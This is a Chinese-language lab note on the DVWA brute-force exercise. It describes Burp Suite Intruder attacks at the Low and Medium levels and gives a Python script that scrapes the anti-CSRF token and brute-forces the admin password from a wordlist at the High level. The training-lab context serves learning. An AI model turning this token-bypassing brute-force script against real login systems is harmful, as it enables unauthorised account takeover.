DVWA笔记之一:brute Force
1.Low 级别
burpsuite抓包
low级别是使用GET请求进行登录,将其发送到Intruder中,并增加password变量
之后选择字典开始攻击。
暴力破解完成后,查看结果RESULT,根据Content-Length来判断登陆是否成功。
2.MEDIUM级别
有效抵制了sql注入,但是并未有对爆破破解做有抵御措施,因此爆破方法与上述类似,只是这里增加了一个sleep(2)会降低爆破的时间。
3.HIGH级别
此时在登录时就加入了令牌机制,该令牌被放置在提交的表格中,每次提交登录都会先对token进行校验。因此每次都需要先把token爬取到只有在进行登录提交,从而实现暴力破解。
这里就通过爬虫的方式进行暴力破解,首先抓去Token,之后带Token提交参数,得到的response判断其长度,也是根据长度进行判断是否登陆成功。
参考freebuf上的文章,代码如下:
#coding=utf-8 from bs4 import BeautifulSoup import requests header={ 'Host':'vspiders.iok.la', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': 'http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=nqnhr54k42sd46r0t0uq6u32v4', 'Connection':'close' } requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php" dvwa_session = requests.Session() i=0 def get_token(requrl,header): req=dvwa_session.get(url=requrl,headers=header,) the_page=req.content response=req.status_code soup=BeautifulSoup(the_page,"lxml") user_token=soup.form.find_all('input')[3]['value'] return user_token,len(the_page) user_token,l=get_token(requrl,header) for line in open('rkolin.txt'): requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i=i+1 user_token,l=get_token(requrl,header) print i,'admin',line.strip(),l